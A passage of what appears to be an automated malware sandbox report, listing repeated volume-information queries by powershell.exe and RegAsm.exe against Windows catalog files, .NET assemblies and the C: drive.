                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
